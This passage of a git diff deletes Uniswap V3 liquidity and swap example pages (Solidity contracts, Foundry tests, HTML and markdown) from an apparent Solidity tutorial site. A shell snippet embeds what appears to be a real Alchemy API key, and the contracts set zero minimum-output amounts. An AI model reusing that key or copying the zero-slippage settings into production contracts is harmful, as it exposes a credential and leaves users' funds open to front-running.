"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0ICJmb3JnZS1zdGQvY29uc29sZS5zb2wiOwoKaW1wb3J0ICIuLi9zcmMvVW5pc3dhcFYzTGlxdWlkaXR5LnNvbCI7Cgpjb250cmFjdCBVbmlzd2FwVjNMaXF1aWRpdHlUZXN0IGlzIFRlc3QgewogICAgSVdFVEggcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKCiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgREFJX1dIQUxFID0gMHhlODFENmYwMzAyODEwN0EyMERCYzgzMTc2REE4MmFFODA5OUU5QzQyOwoKICAgIFVuaXN3YXBWM0xpcXVpZGl0eSBwcml2YXRlIHVuaSA9IG5ldyBVbmlzd2FwVjNMaXF1aWRpdHkoKTsKCiAgICBmdW5jdGlvbiBzZXRVcCgpIHB1YmxpYyB7CiAgICAgICAgdm0ucHJhbmsoREFJX1dIQUxFKTsKICAgICAgICBkYWkudHJhbnNmZXIoYWRkcmVzcyh0aGlzKSwgMjAgKiAxZTE4KTsKCiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiAyICogMWUxOH0oKTsKCiAgICAgICAgZGFpLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCAyMCAqIDFlMTgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHVuaSksIDIgKiAxZTE4KTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0TGlxdWlkaXR5KCkgcHVibGljIHsKICAgICAgICAvLyBUcmFjayB0b3RhbCBsaXF1aWRpdHkKICAgICAgICB1aW50MTI4IGxpcXVpZGl0eTsKCiAgICAgICAgLy8gTWludCBuZXcgcG9zaXRpb24KICAgICAgICB1aW50IGRhaUFtb3VudCA9IDEwICogMWUxODsKICAgICAgICB1aW50IHdldGhBbW91bnQgPSAxZTE4OwoKICAgICAgICAodWludCB0b2tlbklkLCB1aW50MTI4IGxpcXVpZGl0eURlbHRhLCB1aW50IGFtb3VudDAsIHVpbnQgYW1vdW50MSkgPSB1bmkKICAgICAgICAgICAgLm1pbnROZXdQb3NpdGlvbihkYWlBbW91bnQsIHdldGhBbW91bnQpOwogICAgICAgIGxpcXVpZGl0eSArPSBsaXF1aWRpdHlEZWx0YTsKCiAgICAgICAgY29uc29sZS5sb2coIi0tLSBNaW50IG5ldyBwb3NpdGlvbiAtLS0iKTsKICAgICAgICBjb25zb2xlLmxvZygidG9rZW4gaWQiLCB0b2tlbklkKTsKICAgICAgICBjb25zb2xlLmxvZygibGlxdWlkaXR5IiwgbGlxdWlkaXR5KTsKICAgICAgICBjb25zb2xlLmxvZygiYW1vdW50IDAiLCBhbW91bnQwKTsKICAgICAgICBjb25zb2xlLmxvZygiYW1vdW50IDEiLCBhbW91bnQxKTsKCiAgICAgICAgLy8gQ29sbGVjdCBmZWVzCiAgICAgICAgKHVpbnQgZmVlMCwgdWludCBmZWUxKSA9IHVuaS5jb2xsZWN0QWxsRmVlcyh0b2tlbklkKTsKCiAgICAgICAgY29uc29sZS5sb2coIi0tLSBDb2xsZWN0IGZlZXMgLS0tIik7CiAgICAgICAgY29uc29sZS5sb2coImZlZSAwIiwgZmVlMCk7CiAgICAgICAgY29uc29sZS5sb2coImZlZSAxIiwgZmVlMSk7CgogICAgICAgIC8vIEluY3JlYXNlIGxpcXVpZGl0eQogICAgICAgIHVpbnQgZGFpQW1vdW50VG9BZGQgPSA1ICogMWUxODsKICAgICAgICB1aW50IHdldGhBbW91bnRUb0FkZCA9IDAuNSAqIDFlMTg7CgogICAgICAgIChsaXF1aWRpdHlEZWx0YSwgYW1vdW50MCwgYW1vdW50MSkgPSB1bmkuaW5jcmVhc2VMaXF1aWRpdHlDdXJyZW50UmFuZ2UoCiAgICAgICAgICAgIHRva2VuSWQsCiAgICAgICAgICAgIGRhaUFtb3VudFRvQWRkLAogICAgICAgICAgICB3ZXRoQW1vdW50VG9BZGQKICAgICAgICApOwogICAgICAgIGxpcXVpZGl0eSArPSBsaXF1aWRpdHlEZWx0YTsKCiAgICAgICAgY29uc29sZS5sb2coIi0tLSBJbmNyZWFzZSBsaXF1aWRpdHkgLS0tIik7CiAgICAgICAgY29uc29sZS5sb2coImxpcXVpZGl0eSIsIGxpcXVpZGl0eSk7CiAgICAgICAgY29uc29sZS5sb2coImFtb3VudCAwIiwgYW1vdW50MCk7CiAgICAgICAgY29uc29sZS5sb2coImFtb3VudCAxIiwgYW1vdW50MSk7CgogICAgICAgIC8vIERlY3JlYXNlIGxpcXVpZGl0eQogICAgICAgIChhbW91bnQwLCBhbW91bnQxKSA9IHVuaS5kZWNyZWFzZUxpcXVpZGl0eUN1cnJlbnRSYW5nZSh0b2tlbklkLCBsaXF1aWRpdHkpOwogICAgICAgIGNvbnNvbGUubG9nKCItLS0gRGVjcmVhc2UgbGlxdWlkaXR5IC0tLSIpOwogICAgICAgIGNvbnNvbGUubG9nKCJhbW91bnQgMCIsIGFtb3VudDApOwogICAgICAgIGNvbnNvbGUubG9nKCJhbW91bnQgMSIsIGFtb3VudDEpOwogICAgfQp9Cg==", - }, -] - -const html = `

Examples of minting new position, collect fees, increase and decrease liquidity.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
-address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
-
-interface IERC721Receiver {
-    function onERC721Received(
-        address operator,
-        address from,
-        uint tokenId,
-        bytes calldata data
-    ) external returns (bytes4);
-}
-
-contract UniswapV3Liquidity is IERC721Receiver {
-    IERC20 private constant dai = IERC20(DAI);
-    IWETH private constant weth = IWETH(WETH);
-
-    int24 private constant MIN_TICK = -887272;
-    int24 private constant MAX_TICK = -MIN_TICK;
-    int24 private constant TICK_SPACING = 60;
-
-    INonfungiblePositionManager public nonfungiblePositionManager =
-        INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
-
-    function onERC721Received(
-        address operator,
-        address from,
-        uint tokenId,
-        bytes calldata
-    ) external returns (bytes4) {
-        return IERC721Receiver.onERC721Received.selector;
-    }
-
-    function mintNewPosition(
-        uint amount0ToAdd,
-        uint amount1ToAdd
-    ) external returns (uint tokenId, uint128 liquidity, uint amount0, uint amount1) {
-        dai.transferFrom(msg.sender, address(this), amount0ToAdd);
-        weth.transferFrom(msg.sender, address(this), amount1ToAdd);
-
-        dai.approve(address(nonfungiblePositionManager), amount0ToAdd);
-        weth.approve(address(nonfungiblePositionManager), amount1ToAdd);
-
-        INonfungiblePositionManager.MintParams
-            memory params = INonfungiblePositionManager.MintParams({
-                token0: DAI,
-                token1: WETH,
-                fee: 3000,
-                tickLower: (MIN_TICK / TICK_SPACING) * TICK_SPACING,
-                tickUpper: (MAX_TICK / TICK_SPACING) * TICK_SPACING,
-                amount0Desired: amount0ToAdd,
-                amount1Desired: amount1ToAdd,
-                amount0Min: 0,
-                amount1Min: 0,
-                recipient: address(this),
-                deadline: block.timestamp
-            });
-
-        (tokenId, liquidity, amount0, amount1) = nonfungiblePositionManager.mint(
-            params
-        );
-
-        if (amount0 < amount0ToAdd) {
-            dai.approve(address(nonfungiblePositionManager), 0);
-            uint refund0 = amount0ToAdd - amount0;
-            dai.transfer(msg.sender, refund0);
-        }
-        if (amount1 < amount1ToAdd) {
-            weth.approve(address(nonfungiblePositionManager), 0);
-            uint refund1 = amount1ToAdd - amount1;
-            weth.transfer(msg.sender, refund1);
-        }
-    }
-
-    function collectAllFees(
-        uint tokenId
-    ) external returns (uint amount0, uint amount1) {
-        INonfungiblePositionManager.CollectParams
-            memory params = INonfungiblePositionManager.CollectParams({
-                tokenId: tokenId,
-                recipient: address(this),
-                amount0Max: type(uint128).max,
-                amount1Max: type(uint128).max
-            });
-
-        (amount0, amount1) = nonfungiblePositionManager.collect(params);
-    }
-
-    function increaseLiquidityCurrentRange(
-        uint tokenId,
-        uint amount0ToAdd,
-        uint amount1ToAdd
-    ) external returns (uint128 liquidity, uint amount0, uint amount1) {
-        dai.transferFrom(msg.sender, address(this), amount0ToAdd);
-        weth.transferFrom(msg.sender, address(this), amount1ToAdd);
-
-        dai.approve(address(nonfungiblePositionManager), amount0ToAdd);
-        weth.approve(address(nonfungiblePositionManager), amount1ToAdd);
-
-        INonfungiblePositionManager.IncreaseLiquidityParams
-            memory params = INonfungiblePositionManager.IncreaseLiquidityParams({
-                tokenId: tokenId,
-                amount0Desired: amount0ToAdd,
-                amount1Desired: amount1ToAdd,
-                amount0Min: 0,
-                amount1Min: 0,
-                deadline: block.timestamp
-            });
-
-        (liquidity, amount0, amount1) = nonfungiblePositionManager.increaseLiquidity(
-            params
-        );
-    }
-
-    function decreaseLiquidityCurrentRange(
-        uint tokenId,
-        uint128 liquidity
-    ) external returns (uint amount0, uint amount1) {
-        INonfungiblePositionManager.DecreaseLiquidityParams
-            memory params = INonfungiblePositionManager.DecreaseLiquidityParams({
-                tokenId: tokenId,
-                liquidity: liquidity,
-                amount0Min: 0,
-                amount1Min: 0,
-                deadline: block.timestamp
-            });
-
-        (amount0, amount1) = nonfungiblePositionManager.decreaseLiquidity(params);
-    }
-}
-
-interface INonfungiblePositionManager {
-    struct MintParams {
-        address token0;
-        address token1;
-        uint24 fee;
-        int24 tickLower;
-        int24 tickUpper;
-        uint amount0Desired;
-        uint amount1Desired;
-        uint amount0Min;
-        uint amount1Min;
-        address recipient;
-        uint deadline;
-    }
-
-    function mint(
-        MintParams calldata params
-    )
-        external
-        payable
-        returns (uint tokenId, uint128 liquidity, uint amount0, uint amount1);
-
-    struct IncreaseLiquidityParams {
-        uint tokenId;
-        uint amount0Desired;
-        uint amount1Desired;
-        uint amount0Min;
-        uint amount1Min;
-        uint deadline;
-    }
-
-    function increaseLiquidity(
-        IncreaseLiquidityParams calldata params
-    ) external payable returns (uint128 liquidity, uint amount0, uint amount1);
-
-    struct DecreaseLiquidityParams {
-        uint tokenId;
-        uint128 liquidity;
-        uint amount0Min;
-        uint amount1Min;
-        uint deadline;
-    }
-
-    function decreaseLiquidity(
-        DecreaseLiquidityParams calldata params
-    ) external payable returns (uint amount0, uint amount1);
-
-    struct CollectParams {
-        uint tokenId;
-        address recipient;
-        uint128 amount0Max;
-        uint128 amount1Max;
-    }
-
-    function collect(
-        CollectParams calldata params
-    ) external payable returns (uint amount0, uint amount1);
-}
-
-interface IERC20 {
-    function totalSupply() external view returns (uint);
-
-    function balanceOf(address account) external view returns (uint);
-
-    function transfer(address recipient, uint amount) external returns (bool);
-
-    function allowance(address owner, address spender) external view returns (uint);
-
-    function approve(address spender, uint amount) external returns (bool);
-
-    function transferFrom(
-        address sender,
-        address recipient,
-        uint amount
-    ) external returns (bool);
-
-    event Transfer(address indexed from, address indexed to, uint value);
-    event Approval(address indexed owner, address indexed spender, uint value);
-}
-
-interface IWETH is IERC20 {
-    function deposit() external payable;
-
-    function withdraw(uint amount) external;
-}
-

Test with Foundry

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-import "forge-std/Test.sol";
-import "forge-std/console.sol";
-
-import "../src/UniswapV3Liquidity.sol";
-
-contract UniswapV3LiquidityTest is Test {
-    IWETH private constant weth = IWETH(WETH);
-    IERC20 private constant dai = IERC20(DAI);
-
-    address private constant DAI_WHALE = 0xe81D6f03028107A20DBc83176DA82aE8099E9C42;
-
-    UniswapV3Liquidity private uni = new UniswapV3Liquidity();
-
-    function setUp() public {
-        vm.prank(DAI_WHALE);
-        dai.transfer(address(this), 20 * 1e18);
-
-        weth.deposit{value: 2 * 1e18}();
-
-        dai.approve(address(uni), 20 * 1e18);
-        weth.approve(address(uni), 2 * 1e18);
-    }
-
-    function testLiquidity() public {
-        // Track total liquidity
-        uint128 liquidity;
-
-        // Mint new position
-        uint daiAmount = 10 * 1e18;
-        uint wethAmount = 1e18;
-
-        (uint tokenId, uint128 liquidityDelta, uint amount0, uint amount1) = uni
-            .mintNewPosition(daiAmount, wethAmount);
-        liquidity += liquidityDelta;
-
-        console.log("--- Mint new position ---");
-        console.log("token id", tokenId);
-        console.log("liquidity", liquidity);
-        console.log("amount 0", amount0);
-        console.log("amount 1", amount1);
-
-        // Collect fees
-        (uint fee0, uint fee1) = uni.collectAllFees(tokenId);
-
-        console.log("--- Collect fees ---");
-        console.log("fee 0", fee0);
-        console.log("fee 1", fee1);
-
-        // Increase liquidity
-        uint daiAmountToAdd = 5 * 1e18;
-        uint wethAmountToAdd = 0.5 * 1e18;
-
-        (liquidityDelta, amount0, amount1) = uni.increaseLiquidityCurrentRange(
-            tokenId,
-            daiAmountToAdd,
-            wethAmountToAdd
-        );
-        liquidity += liquidityDelta;
-
-        console.log("--- Increase liquidity ---");
-        console.log("liquidity", liquidity);
-        console.log("amount 0", amount0);
-        console.log("amount 1", amount1);
-
-        // Decrease liquidity
-        (amount0, amount1) = uni.decreaseLiquidityCurrentRange(tokenId, liquidity);
-        console.log("--- Decrease liquidity ---");
-        console.log("amount 0", amount0);
-        console.log("amount 1", amount1);
-    }
-}
-
FORK_URL=https://eth-mainnet.g.alchemy.com/v2/613t3mfjTevdrCwDl28CVvuk6wSIxRPi
-forge test -vv --gas-report --fork-url $FORK_URL --match-path test/UniswapV3Liquidity.test.sol
-

Links

-

Uniswap V3

-

Foundry

-

Uniswap V3 Foundry example

-` - -export default html diff --git a/src/pages/defi/uniswap-v3-liquidity/index.md b/src/pages/defi/uniswap-v3-liquidity/index.md deleted file mode 100644 index 5b38671c2..000000000 --- a/src/pages/defi/uniswap-v3-liquidity/index.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Uniswap V3 Liquidity Examples -version: 0.8.20 -description: Uniswap V3 liquidity examples -keywords: [defi, uniswap, v3, liquidity, amm] ---- - -Examples of minting new position, collect fees, increase and decrease liquidity. - -```solidity -{{{UniswapV3Liquidity}}} -``` - -### Test with Foundry - -```solidity -{{{UniswapV3LiquidityTest}}} -``` - -```shell -FORK_URL=https://eth-mainnet.g.alchemy.com/v2/613t3mfjTevdrCwDl28CVvuk6wSIxRPi -forge test -vv --gas-report --fork-url $FORK_URL --match-path test/UniswapV3Liquidity.test.sol -``` - -### Links - -Uniswap V3 - -Foundry - -Uniswap V3 Foundry example diff --git a/src/pages/defi/uniswap-v3-liquidity/index.tsx b/src/pages/defi/uniswap-v3-liquidity/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/defi/uniswap-v3-liquidity/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/defi/uniswap-v3-swap/UniswapV3SwapExamples.sol b/src/pages/defi/uniswap-v3-swap/UniswapV3SwapExamples.sol deleted file mode 100644 index bcce16ee7..000000000 --- a/src/pages/defi/uniswap-v3-swap/UniswapV3SwapExamples.sol +++ /dev/null @@ -1,111 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract UniswapV3SwapExamples { - ISwapRouter constant router = - ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564); - - function swapExactInputSingleHop( - address tokenIn, - address tokenOut, - uint24 poolFee, - uint amountIn - ) external returns (uint amountOut) { - IERC20(tokenIn).transferFrom(msg.sender, address(this), amountIn); - IERC20(tokenIn).approve(address(router), amountIn); - - ISwapRouter.ExactInputSingleParams memory params = ISwapRouter - .ExactInputSingleParams({ - tokenIn: tokenIn, - tokenOut: tokenOut, - fee: poolFee, - recipient: msg.sender, - deadline: block.timestamp, - amountIn: amountIn, - amountOutMinimum: 0, - sqrtPriceLimitX96: 0 - }); - - amountOut = router.exactInputSingle(params); - } - - function swapExactInputMultiHop( - bytes calldata path, - address tokenIn, - uint amountIn - ) external returns (uint amountOut) { - IERC20(tokenIn).transferFrom(msg.sender, address(this), amountIn); - IERC20(tokenIn).approve(address(router), amountIn); - - ISwapRouter.ExactInputParams memory params = ISwapRouter.ExactInputParams({ - path: path, - recipient: msg.sender, - deadline: block.timestamp, - amountIn: amountIn, - amountOutMinimum: 0 - }); - amountOut = router.exactInput(params); - } -} - -interface ISwapRouter { - struct ExactInputSingleParams { - address tokenIn; - address tokenOut; - uint24 fee; - address recipient; - uint deadline; - uint amountIn; - uint amountOutMinimum; - uint160 sqrtPriceLimitX96; - } - - /// @notice Swaps amountIn of one token for as much as possible of another token - /// @param params The parameters necessary for the swap, encoded as ExactInputSingleParams in calldata - /// @return amountOut The amount of the received token - function exactInputSingle( - ExactInputSingleParams calldata params - ) external payable returns (uint amountOut); - - struct ExactInputParams { - bytes path; - address recipient; - uint deadline; - uint amountIn; - uint amountOutMinimum; - } - - /// @notice Swaps amountIn of one token for as much as possible of another along the specified path - /// @param params The parameters necessary for the multi-hop swap, encoded as ExactInputParams in calldata - /// @return amountOut The amount of the received token - function exactInput( - ExactInputParams calldata params - ) external payable returns (uint amountOut); -} - -interface IERC20 { - function totalSupply() external view returns (uint); - - function balanceOf(address account) external view returns (uint); - - function transfer(address recipient, uint amount) external returns (bool); - - function allowance(address owner, address spender) external view returns (uint); - - function approve(address spender, uint amount) external returns (bool); - - function transferFrom( - address sender, - address recipient, - uint amount - ) external returns (bool); - - event Transfer(address indexed from, address indexed to, uint value); - event Approval(address indexed owner, address indexed spender, uint value); -} - -interface IWETH is IERC20 { - function deposit() external payable; - - function withdraw(uint amount) external; -} diff --git a/src/pages/defi/uniswap-v3-swap/UniswapV3SwapExamplesTest.sol b/src/pages/defi/uniswap-v3-swap/UniswapV3SwapExamplesTest.sol deleted file mode 100644 index 3a99a5a4a..000000000 --- a/src/pages/defi/uniswap-v3-swap/UniswapV3SwapExamplesTest.sol +++ /dev/null @@ -1,47 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -import "forge-std/Test.sol"; -import "forge-std/console.sol"; - -import "../src/UniswapV3SwapExamples.sol"; - -address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; -address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; -address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; - -contract UniV3Test is Test { - IWETH private weth = IWETH(WETH); - IERC20 private dai = IERC20(DAI); - IERC20 private usdc = IERC20(USDC); - - UniswapV3SwapExamples private uni = new UniswapV3SwapExamples(); - - function setUp() public {} - - function testSingleHop() public { - weth.deposit{value: 1e18}(); - weth.approve(address(uni), 1e18); - - uint amountOut = uni.swapExactInputSingleHop(WETH, DAI, 3000, 1e18); - - console.log("DAI", amountOut); - } - - function testMultiHop() public { - weth.deposit{value: 1e18}(); - weth.approve(address(uni), 1e18); - - bytes memory path = abi.encodePacked( - WETH, - uint24(3000), - USDC, - uint24(100), - DAI - ); - - uint amountOut = uni.swapExactInputMultiHop(path, WETH, 1e18); - - console.log("DAI", amountOut); - } -} diff --git a/src/pages/defi/uniswap-v3-swap/index.html.ts b/src/pages/defi/uniswap-v3-swap/index.html.ts deleted file mode 100644 index 0bc040f9a..000000000 --- a/src/pages/defi/uniswap-v3-swap/index.html.ts +++ /dev/null @@ -1,193 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Uniswap V3 Swap Examples" -export const description = "Uniswap V3 swap examples" - -export const keywords = ["defi", "uniswap", "v3", "swap", "amm"] - -export const codes = [ - { - fileName: "UniswapV3SwapExamples.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFVuaXN3YXBWM1N3YXBFeGFtcGxlcyB7CiAgICBJU3dhcFJvdXRlciBjb25zdGFudCByb3V0ZXIgPQogICAgICAgIElTd2FwUm91dGVyKDB4RTU5MjQyN0EwQUVjZTkyRGUzRWRlZTFGMThFMDE1N0MwNTg2MTU2NCk7CgogICAgZnVuY3Rpb24gc3dhcEV4YWN0SW5wdXRTaW5nbGVIb3AoCiAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgIGFkZHJlc3MgdG9rZW5PdXQsCiAgICAgICAgdWludDI0IHBvb2xGZWUsCiAgICAgICAgdWludCBhbW91bnRJbgogICAgKSBleHRlcm5hbCByZXR1cm5zICh1aW50IGFtb3VudE91dCkgewogICAgICAgIElFUkMyMCh0b2tlbkluKS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50SW4pOwogICAgICAgIElFUkMyMCh0b2tlbkluKS5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgYW1vdW50SW4pOwoKICAgICAgICBJU3dhcFJvdXRlci5FeGFjdElucHV0U2luZ2xlUGFyYW1zIG1lbW9yeSBwYXJhbXMgPSBJU3dhcFJvdXRlcgogICAgICAgICAgICAuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyh7CiAgICAgICAgICAgICAgICB0b2tlbkluOiB0b2tlbkluLAogICAgICAgICAgICAgICAgdG9rZW5PdXQ6IHRva2VuT3V0LAogICAgICAgICAgICAgICAgZmVlOiBwb29sRmVlLAogICAgICAgICAgICAgICAgcmVjaXBpZW50OiBtc2cuc2VuZGVyLAogICAgICAgICAgICAgICAgZGVhZGxpbmU6IGJsb2NrLnRpbWVzdGFtcCwKICAgICAgICAgICAgICAgIGFtb3VudEluOiBhbW91bnRJbiwKICAgICAgICAgICAgICAgIGFtb3VudE91dE1pbmltdW06IDAsCiAgICAgICAgICAgICAgICBzcXJ0UHJpY2VMaW1pdFg5NjogMAogICAgICAgICAgICB9KTsKCiAgICAgICAgYW1vdW50T3V0ID0gcm91dGVyLmV4YWN0SW5wdXRTaW5nbGUocGFyYW1zKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzd2FwRXhhY3RJbnB1dE11bHRpSG9wKAogICAgICAgIGJ5dGVzIGNhbGxkYXRhIHBhdGgsCiAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgIHVpbnQgYW1vdW50SW4KICAgICkgZXh0ZXJuYWwgcmV0dXJucyAodWludCBhbW91bnRPdXQpIHsKICAgICAgICBJRVJDMjAodG9rZW5JbikudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluKTsKICAgICAgICBJRVJDMjAodG9rZW5JbikuYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgSVN3YXBSb3V0ZXIuRXhhY3RJbnB1dFBhcmFtcyBtZW1vcnkgcGFyYW1zID0gSVN3YXBSb3V0ZXIuRXhhY3RJbnB1dFBhcmFtcyh7CiAgICAgICAgICAgIHBhdGg6IHBhdGgsCiAgICAgICAgICAgIHJlY2lwaWVudDogbXNnLnNlbmRlciwKICAgICAgICAgICAgZGVhZGxpbmU6IGJsb2NrLnRpbWVzdGFtcCwKICAgICAgICAgICAgYW1vdW50SW46IGFtb3VudEluLAogICAgICAgICAgICBhbW91bnRPdXRNaW5pbXVtOiAwCiAgICAgICAgfSk7CiAgICAgICAgYW1vdW50T3V0ID0gcm91dGVyLmV4YWN0SW5wdXQocGFyYW1zKTsKICAgIH0KfQoKaW50ZXJmYWNlIElTd2FwUm91dGVyIHsKICAgIHN0cnVjdCBFeGFjdElucHV0U2luZ2xlUGFyYW1zIHsKICAgICAgICBhZGRyZXNzIHRva2VuSW47CiAgICAgICAgYWRkcmVzcyB0b2tlbk91dDsKICAgICAgICB1aW50MjQgZmVlOwogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50OwogICAgICAgIHVpbnQgZGVhZGxpbmU7CiAgICAgICAgdWludCBhbW91bnRJbjsKICAgICAgICB1aW50IGFtb3VudE91dE1pbmltdW07CiAgICAgICAgdWludDE2MCBzcXJ0UHJpY2VMaW1pdFg5NjsKICAgIH0KCiAgICAvLy8gQG5vdGljZSBTd2FwcyBhbW91bnRJbiBvZiBvbmUgdG9rZW4gZm9yIGFzIG11Y2ggYXMgcG9zc2libGUgb2YgYW5vdGhlciB0b2tlbgogICAgLy8vIEBwYXJhbSBwYXJhbXMgVGhlIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IGZvciB0aGUgc3dhcCwgZW5jb2RlZCBhcyBFeGFjdElucHV0U2luZ2xlUGFyYW1zIGluIGNhbGxkYXRhCiAgICAvLy8gQHJldHVybiBhbW91bnRPdXQgVGhlIGFtb3VudCBvZiB0aGUgcmVjZWl2ZWQgdG9rZW4KICAgIGZ1bmN0aW9uIGV4YWN0SW5wdXRTaW5nbGUoCiAgICAgICAgRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyBjYWxsZGF0YSBwYXJhbXMKICAgICkgZXh0ZXJuYWwgcGF5YWJsZSByZXR1cm5zICh1aW50IGFtb3VudE91dCk7CgogICAgc3RydWN0IEV4YWN0SW5wdXRQYXJhbXMgewogICAgICAgIGJ5dGVzIHBhdGg7CiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQ7CiAgICAgICAgdWludCBkZWFkbGluZTsKICAgICAgICB1aW50IGFtb3VudEluOwogICAgICAgIHVpbnQgYW1vdW50T3V0TWluaW11bTsKICAgIH0KCiAgICAvLy8gQG5vdGljZSBTd2FwcyBhbW91bnRJbiBvZiBvbmUgdG9rZW4gZm9yIGFzIG11Y2ggYXMgcG9zc2libGUgb2YgYW5vdGhlciBhbG9uZyB0aGUgc3BlY2lmaWVkIHBhdGgKICAgIC8vLyBAcGFyYW0gcGFyYW1zIFRoZSBwYXJhbWV0ZXJzIG5lY2Vzc2FyeSBmb3IgdGhlIG11bHRpLWhvcCBzd2FwLCBlbmNvZGVkIGFzIEV4YWN0SW5wdXRQYXJhbXMgaW4gY2FsbGRhdGEKICAgIC8vLyBAcmV0dXJuIGFtb3VudE91dCBUaGUgYW1vdW50IG9mIHRoZSByZWNlaXZlZCB0b2tlbgogICAgZnVuY3Rpb24gZXhhY3RJbnB1dCgKICAgICAgICBFeGFjdElucHV0UGFyYW1zIGNhbGxkYXRhIHBhcmFtcwogICAgKSBleHRlcm5hbCBwYXlhYmxlIHJldHVybnMgKHVpbnQgYW1vdW50T3V0KTsKfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCk7CgogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50KTsKCiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludCBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCk7CgogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKCiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgdWludCBhbW91bnQKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZXZlbnQgVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIGZyb20sIGFkZHJlc3MgaW5kZXhlZCB0bywgdWludCB2YWx1ZSk7CiAgICBldmVudCBBcHByb3ZhbChhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBzcGVuZGVyLCB1aW50IHZhbHVlKTsKfQoKaW50ZXJmYWNlIElXRVRIIGlzIElFUkMyMCB7CiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgZXh0ZXJuYWwgcGF5YWJsZTsKCiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50IGFtb3VudCkgZXh0ZXJuYWw7Cn0K", - }, - { - fileName: "UniswapV3SwapExamplesTest.sol", - code: 